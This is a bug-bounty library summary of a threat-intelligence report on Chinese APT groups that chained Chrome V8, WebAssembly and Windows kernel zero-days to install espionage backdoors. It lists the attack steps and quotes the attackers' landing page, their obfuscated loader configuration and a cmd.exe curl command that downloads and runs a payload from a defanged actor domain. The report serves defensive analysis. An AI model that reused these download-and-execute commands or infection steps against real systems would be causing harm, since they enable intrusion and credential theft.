# Mind the (Patch) Gap: Multiple Chinese Threat Actors Chain 0-day Exploits in Chrome & Windows

Chinese APTs chained a V8 type-confusion zero-day, a Wasm sandbox escape, and a Windows kernel LPE to escape Chrome and deploy espionage malware.

- Payout: Real-world hack
- Severity: critical
- Program: Google
- Analysis by: Tom Lancaster
- Disclosed: 2026-09-09
- CVE: CVE-2026-85046, CVE-2026-87491, CVE-2026-85880
- Write-up quality: 8/10
- Original: https://www.volexity.com/blog/2026/09/09/mind-the-patch-gap-multiple-chinese-threat-actors-chain-0-day-exploits-in-chrome-windows/
- Library page: https://bugbountylibrary.com/r/blog%3Avolexity-com-blog-2026-09-09-mind-the-patch-gap-multiple-chinese-threat-actors-chain-0-day-exploits-in-chrome-windows
- Tags: area:os domain:browser impact:privesc impact:rce kind:incident platform:threat-intel sev:critical tech:chromium tech:windows technique:chained technique:incomplete-fix vuln:memory-corruption vuln:misconfiguration vuln:privilege-escalation vuln:sandbox-escape

**Target:** Chrome renderer/V8 engine and Windows kernel (RtlpCreateServerAcl)
**Root cause:** CVE-2026-85046 is a type-confusion bug in the V8 JavaScript engine giving arbitrary read/write inside the V8 sandbox; CVE-2026-87491 is a separate WebAssembly defect used to escape the V8 sandbox, and CVE-2026-85880 is a Windows kernel flaw in RtlpCreateServerAcl used for privilege escalation.
**Steps:**
1. Victim clicks phishing link abusing reflected XSS on a US university site, redirecting to `hxxps://cloud.shinewrist[.]net/<removed>/Files1.html`
2. Files1.html loads obfuscated `react.min.js` which gates on Chrome-on-Windows User-Agent and builds `page.html?mode=payload&exeurl=hxxp://cloud[.]shinewrist[.]net/<removed>/msgbox[.]exe`, injecting it as a hidden iframe
3. page.html concatenates two inert `<script type="text/plain">` blocks and runs them as a Web Worker; exploit retries up to 5 times via sessionStorage counter
4. p1 shellcode reflectively loads a DLL that builds a JSON host profile (OS, token, CPUID, hypervisor)
5. p2 shellcode exploits CVE-2026-85880 (RtlpCreateServerAcl) for kernel LPE, only on Win10 1809-22H2/Server 2022/Win11 21H2 (builds <=22000)
6. pp shellcode injects into the Chrome browser process and calls `CreateProcessA` with `cmd.exe /c curl -f -sS -o "%TEMP%\msgbox.exe" "hxxps://cloud[.]shinewrist[.]net/<removed>/msgbox[.]exe" && "%TEMP%\msgbox.exe"`
7. msgbox.exe drops a legit EXE plus wsc.dll for sideloading; wsc.dll creates scheduled task 'Windows Scheduled System' every 5 min and beacons to `/<removed>/%COMPUTERNAME%.txt`
8. C2 returns MSI written to %TEMP%\Temp.txt and run via `msiexec /i`; MSI custom action JScript POSTs to `hxxps://ocr[.]opusaccel[.]top` and evals responses as GRIMWEDGE backdoor
**How found:** Not stated; exploit code dates (Aug 27-29, 2026) and Volexity's assessment suggest the developer reverse-engineered Chromium source fixes during the patch gap between upstream fix and Chrome release.
**Exploitation:** Spear-phishing emails with reflected-XSS redirect lead victims to actor infrastructure hosting a multi-stage chain: V8 type confusion for read/write, Wasm bug to escape the V8 sandbox, Windows kernel LPE to escape the renderer, then browser-process injection to curl and execute a dropper. UTA0560 delivered GRIMWEDGE JScript backdoor; JungleBamboo delivered SUPERSTOMP, which tampers Chrome Secure Preferences (stripping _encrypted_hash/super_encrypted_hash, forging legacy HMACs and super_mac) to install the LONGTALE credential-stealing extension masquerading as Google Gemini.
**Escalation:** Chained three distinct vulnerabilities (V8 type confusion -> Wasm sandbox escape -> Windows kernel LPE) plus browser-process injection to move from renderer to SYSTEM-level code execution, then per-host C2 staging for targeted payloads.
**Insight:** Watch the window between a Chromium source-level fix and the Chrome release: an N-day at source level is a zero-day against shipped Chrome, and exploit kits reuse byte-identical shellcode across buyers. Also, Chrome's legacy-HMAC fallback for Secure Preferences lets attackers re-forge extension installs after encrypted-hash hardening.

## Proof of concept (copied exactly from the original report)

**Exploit landing page loading obfuscated JS loader**

```
<!DOCTYPE html>

<html>

<script src="hxxps://cloud.shinewrist[.]net/<removed>/react.min.js"></script>

<head><meta charset="UTF-8"><title>img</title></head>

<body style="display:flex;justify-content:center;align-items:center;height:100vh;margin:0;background:#f0f0f0;">

<img src="./<REDACTED>DonationForm.PNG" alt="img" style="max-width:90%;max-height:90%;box-shadow:0 4px 12px rgba(0,0,0,0.2);border-radius:12px;">

</body>

</html>
```

**Loader config and exploit URL with exeurl payload**

```
var CONFIG_URL = 'hxxps://cloud.shinewrist[.]net/<removed>/page.html?mode=payload';

vmT_f6baf0['CONFIG_URL'] = CONFIG_URL;

globalThis['CONFIG_URL'] = vmT_f6baf0['CONFIG_URL'];

var CONFIG_DAILY_LIMIT = ![];

vmT_f6baf0['CONFIG_DAILY_LIMIT'] = CONFIG_DAILY_LIMIT;

globalThis['CONFIG_DAILY_LIMIT'] = vmT_f6baf0['CONFIG_DAILY_LIMIT'];

The obfuscated loader assembles the exploit URL at runtime, rather than hardcoding it. It takes the base URL from an embedded configuration variable (CONFIG_URL), then appends the payload download path as a query parameter:

hxxps://cloud[.]shinewrist[.]net/<removed>/page[.]html?mode=payload&exeurl=hxxp://cloud[.]shinewrist[.]net/<removed>/msgbox[.]exe
```

**Browser-process injection command downloading payload**

```
cmd.exe /c curl -f -sS -o "%TEMP%\msgbox.exe" "hxxps://cloud[.]shinewrist[.]net/<removed>/msgbox[.]exe" && "%TEMP%\msgbox.exe“
```